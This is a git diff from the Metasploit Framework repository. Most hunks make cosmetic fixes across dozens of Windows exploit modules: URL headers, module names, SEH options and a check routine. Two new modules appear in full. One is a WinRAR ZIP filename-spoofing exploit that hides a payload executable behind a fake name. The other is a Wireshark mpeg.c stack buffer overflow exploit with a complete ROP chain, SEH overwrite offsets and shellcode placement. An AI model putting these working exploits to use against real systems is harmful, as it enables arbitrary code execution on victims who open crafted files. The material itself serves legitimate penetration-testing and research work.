b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index c9193884fa..daa86cbb38 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -82,4 +82,4 @@ class Metasploit3 < Msf::Exploit::Remote file_create(filecontent) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb index a8117c2ecc..69b1b8775e 100644 --- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb +++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb index 42011dc262..51179b1675 100644 --- a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb +++ b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/sascam_get.rb b/modules/exploits/windows/fileformat/sascam_get.rb index 546f85d455..7dcc8d9617 100644 --- a/modules/exploits/windows/fileformat/sascam_get.rb +++ b/modules/exploits/windows/fileformat/sascam_get.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote attack vector carefully. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], + 'Author' => [ 'dean ' ], 'References' => [ [ 'CVE', '2008-6898' ], diff --git a/modules/exploits/windows/fileformat/scadaphone_zip.rb b/modules/exploits/windows/fileformat/scadaphone_zip.rb index 86c99ff559..23358f9ad6 100644 --- a/modules/exploits/windows/fileformat/scadaphone_zip.rb +++ b/modules/exploits/windows/fileformat/scadaphone_zip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow', + 'Name' => 'ScadaTEC ScadaPhone Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in version 5.3.11.1230 of scadaTEC's ScadaPhone. diff --git a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb index 0fbbd01159..a4676e030b 100644 --- a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb +++ b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/somplplayer_m3u.rb b/modules/exploits/windows/fileformat/somplplayer_m3u.rb index 005e2e57f0..f4fb8022de 100644 --- a/modules/exploits/windows/fileformat/somplplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/somplplayer_m3u.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb index 0f838aa33e..1d79f124e1 100644 --- a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index d3868e0c9d..169f4e40e6 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/tugzip.rb b/modules/exploits/windows/fileformat/tugzip.rb index 4feeff5117..5f822b0dae 100644 --- a/modules/exploits/windows/fileformat/tugzip.rb +++ b/modules/exploits/windows/fileformat/tugzip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ultraiso_ccd.rb b/modules/exploits/windows/fileformat/ultraiso_ccd.rb index cd3962bb09..2ddbf829a4 100644 --- a/modules/exploits/windows/fileformat/ultraiso_ccd.rb +++ b/modules/exploits/windows/fileformat/ultraiso_ccd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ultraiso_cue.rb b/modules/exploits/windows/fileformat/ultraiso_cue.rb index 27c8e645da..5c706c6424 100644 --- a/modules/exploits/windows/fileformat/ultraiso_cue.rb +++ b/modules/exploits/windows/fileformat/ultraiso_cue.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb index fe82cc01f3..8c4f170b83 100644 --- a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb +++ b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/varicad_dwb.rb b/modules/exploits/windows/fileformat/varicad_dwb.rb index 801ea4bba0..c6bd57e032 100644 --- a/modules/exploits/windows/fileformat/varicad_dwb.rb +++ b/modules/exploits/windows/fileformat/varicad_dwb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/videolan_tivo.rb b/modules/exploits/windows/fileformat/videolan_tivo.rb index 40234c0e24..42b4cb395e 100644 --- a/modules/exploits/windows/fileformat/videolan_tivo.rb +++ b/modules/exploits/windows/fileformat/videolan_tivo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/videospirit_visprj.rb b/modules/exploits/windows/fileformat/videospirit_visprj.rb index 8e7a4bdd50..337be73d0c 100644 --- a/modules/exploits/windows/fileformat/videospirit_visprj.rb +++ b/modules/exploits/windows/fileformat/videospirit_visprj.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'VeryTools Video Spirit Pro <= 1.70', + 'Name' => 'VeryTools Video Spirit Pro', 'Description' => %q{ This module exploits a stack buffer overflow in Video Spirit <= 1.70. When opening a malicious project file (.visprj), a stack buffer overflow occurs, diff --git a/modules/exploits/windows/fileformat/visio_dxf_bof.rb b/modules/exploits/windows/fileformat/visio_dxf_bof.rb index fddd0cc749..315117b01a 100644 --- a/modules/exploits/windows/fileformat/visio_dxf_bof.rb +++ b/modules/exploits/windows/fileformat/visio_dxf_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' diff --git a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb index 14f7509beb..b9474d67e7 100644 --- a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb +++ b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb index f30a162cc3..b8a2515217 100644 --- a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb +++ b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/vlc_realtext.rb b/modules/exploits/windows/fileformat/vlc_realtext.rb index 732f9539c7..4048200658 100644 --- a/modules/exploits/windows/fileformat/vlc_realtext.rb +++ b/modules/exploits/windows/fileformat/vlc_realtext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/vlc_smb_uri.rb b/modules/exploits/windows/fileformat/vlc_smb_uri.rb index ded8af7938..cab592fca2 100644 --- a/modules/exploits/windows/fileformat/vlc_smb_uri.rb +++ b/modules/exploits/windows/fileformat/vlc_smb_uri.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/vlc_webm.rb b/modules/exploits/windows/fileformat/vlc_webm.rb index e9203fbbb7..dac5f66d9a 100644 --- a/modules/exploits/windows/fileformat/vlc_webm.rb +++ b/modules/exploits/windows/fileformat/vlc_webm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/vuplayer_cue.rb b/modules/exploits/windows/fileformat/vuplayer_cue.rb index 89f3129a06..6169941ed8 100644 --- a/modules/exploits/windows/fileformat/vuplayer_cue.rb +++ b/modules/exploits/windows/fileformat/vuplayer_cue.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/vuplayer_m3u.rb b/modules/exploits/windows/fileformat/vuplayer_m3u.rb index b9a2bf4828..4589c909f9 100644 --- a/modules/exploits/windows/fileformat/vuplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/vuplayer_m3u.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/winamp_maki_bof.rb b/modules/exploits/windows/fileformat/winamp_maki_bof.rb index fff63decec..0ee6a6a64b 100644 --- a/modules/exploits/windows/fileformat/winamp_maki_bof.rb +++ b/modules/exploits/windows/fileformat/winamp_maki_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/winrar_name_spoofing.rb b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb new file mode 100644 index 0000000000..21385fe87f --- /dev/null +++ b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WinRAR Filename Spoofing', + 'Description' => %q{ + This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists + when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from + the central directory, but the file names used to extract and open contents come from the + Local File Header. This inconsistency allows to spoof file names when opening ZIP files + with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in + March 2014 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'chr1x', # Vulnerability discoverer according to OSVDB + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '62610' ], + [ 'BID', '66383' ], + [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'], + [ 'URL', 'http://an7isec.blogspot.co.il/'] + ], + 'Platform' => [ 'win' ], + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 4096 + }, + 'Targets' => + [ + [ 'Windows Universal', {} ] + ], + 'DisclosureDate' => 'Sep 28 2009', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']), + OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']) + ], self.class) + + end + + def exploit + exe_filename = rand_text_alpha(rand(6) + 1) + exe_filename << ".exe" + + zip = Rex::Zip::Archive.new + zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF']) + pack = zip.pack + + print_status("Creating '#{datastore['FILENAME']}' file...") + file_create(pack) + end + +end diff --git a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb new file mode 100644 index 0000000000..7727f18446 --- /dev/null +++ b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb @@ -0,0 +1,138 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wireshark wiretap/mpeg.c Stack Buffer Overflow', + 'Description' => %q{ + This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5 + by generating an malicious file.) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Wesley Neelen', # Discovery vulnerability + 'j0sm1', # Exploit and msf module + ], + 'References' => + [ + [ 'CVE', '2014-2299'], + [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ], + [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ], + [ 'BID', '66066'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'BadChars' => "\xff", + 'Space' => 600, + 'DisableNops' => 'True', + 'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'WinXP SP3 Spanish (bypass DEP)', + { + 'OffSet' => 69732, + 'OffSet2' => 70476, + 'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16) + 'jmpesp' => 0x68e2bfb9, + } + ], + [ 'WinXP SP2/SP3 English (bypass DEP)', + { + 'OffSet2' => 70692, + 'OffSet' => 70476, + 'Ret' => 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module + 'jmpesp' => 0x68e2bfb9, + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 20 2014' + )) + + register_options( + [ + OptString.new('FILENAME', [ true, 'pcap file', 'mpeg_overflow.pcap']), + ], self.class) + end + + def create_rop_chain() + + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x62d9027c, # ptr to &VirtualProtect() [IAT libcares-2.dll] + 0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x619c0a2a, # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x61841e98, # & push esp # ret [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x6191d11a, # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x00000201, # 0x00000201-> ebx + 0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0] + 0x00000040, # 0x00000040-> edx + 0x6197660f, # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x668242b9, # &Writable location [libgnutls-26.dll] + 0x6199b8a5, # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0 + 0x63a528c2, # RETN (ROP NOP) [libgobject-2.0-0.dll] + 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x90909090, # nop + 0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + ].flatten.pack("V*") + + return rop_gadgets + + end + + def exploit + + print_status("Creating '#{datastore['FILENAME']}' file ...") + + ropchain = create_rop_chain + magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure + # Here we build the packet data + packet = rand_text_alpha(883) + packet << "\x6c\x7d\x37\x6c" # NOP RETN + packet << "\x6c\x7d\x37\x6c" # NOP RETN + packet << ropchain + packet << payload.encoded # Shellcode + packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length) + + # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000 + # After nseh and seh we haven't space, then we have to jump to another location. + + # When file is open with command line. This is NSEH/SEH overwrite + packet << make_nops(4) # nseh + packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN + + packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk + + # When file is open with GUI interface. This is NSEH/SEH overwrite + packet << make_nops(4) # nseh + # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] ** + packet << "\x55\x59\x80\x6b" + + print_status("Preparing payload") + filecontent = magic_header + filecontent << packet + print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes") + file_create(filecontent) + + end +end diff --git a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb index f1464e24db..614d173074 100644 --- a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb +++ b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,13 +12,13 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (local)', + 'Name' => 'Wireshark packet-dect.c Stack Buffer Overflow (local)', 'Description' => %q{ This module exploits a stack buffer overflow in Wireshark <= 1.4.4 When opening a malicious .pcap file in Wireshark, a stack buffer occurs, resulting in arbitrary code execution. - Note: To exploit the vulnerability remotely with Scapy: sendp(rdpcap("file")) + Note: To exploit the vulnerability remotely with Scapy: sendp(rdpcap("file")). }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb index 5db1023214..0c6ee32cda 100644 --- a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb +++ b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb index b3f0ae9027..e6f7b78680 100644 --- a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb +++ b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'hack4love ', + 'hack4love ', 'germaya_x', 'loneferret', 'jduck' diff --git a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb index b22842f4b7..9e217df2a7 100644 --- a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb +++ b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'hadji samir ', # Discovered the bug + 'hadji samir ', # Discovered the bug 'corelanc0d3r ', # First working exploit 'digital1', # First working exploit 'jduck', # Alpha+Unicode encoding :-/ diff --git a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb index e59bd51f2c..a70e7da10a 100644 --- a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb +++ b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb index e7fd49358d..d3a93a3cfa 100644 --- a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb +++ b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,6 +37,10 @@ class Metasploit3 < Msf::Exploit::Remote 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'StackAdjustment' => -3500, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/firewall/blackice_pam_icq.rb b/modules/exploits/windows/firewall/blackice_pam_icq.rb index 0dc06797de..b1619f21f0 100644 --- a/modules/exploits/windows/firewall/blackice_pam_icq.rb +++ b/modules/exploits/windows/firewall/blackice_pam_icq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'Space' => 504 -31 -4, + 'Space' => 504-31-4, 'BadChars' => "\x00", 'MinNops' => 0, 'MaxNops' => 0, diff --git a/modules/exploits/windows/firewall/kerio_auth.rb b/modules/exploits/windows/firewall/kerio_auth.rb index e78f1fd61b..6db1f8edac 100644 --- a/modules/exploits/windows/firewall/kerio_auth.rb +++ b/modules/exploits/windows/firewall/kerio_auth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/32bitftp_list_reply.rb b/modules/exploits/windows/ftp/32bitftp_list_reply.rb index 2397646d89..88764b31c3 100644 --- a/modules/exploits/windows/ftp/32bitftp_list_reply.rb +++ b/modules/exploits/windows/ftp/32bitftp_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index 32095986ce..502909cab9 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/aasync_list_reply.rb b/modules/exploits/windows/ftp/aasync_list_reply.rb index 7b8beee28b..86675200e1 100644 --- a/modules/exploits/windows/ftp/aasync_list_reply.rb +++ b/modules/exploits/windows/ftp/aasync_list_reply.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/ability_server_stor.rb b/modules/exploits/windows/ftp/ability_server_stor.rb index 5f48396b1f..da254de1d6 100644 --- a/modules/exploits/windows/ftp/ability_server_stor.rb +++ b/modules/exploits/windows/ftp/ability_server_stor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb index e1c50993be..c740472f19 100644 --- a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb +++ b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/cesarftp_mkd.rb b/modules/exploits/windows/ftp/cesarftp_mkd.rb index ea1babc50c..0026fb5b96 100644 --- a/modules/exploits/windows/ftp/cesarftp_mkd.rb +++ b/modules/exploits/windows/ftp/cesarftp_mkd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb index de1f5513f2..ae905a9acd 100644 --- a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb +++ b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -82,13 +82,14 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get(-1,3) + banner = sock.get_once || "" + disconnect + validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9" validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce" validate << "\xf1\xc6\xf7\x21\x0d\x0a" - disconnect - if (banner == validate) + if banner.to_s == validate return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/ftp/dreamftp_format.rb 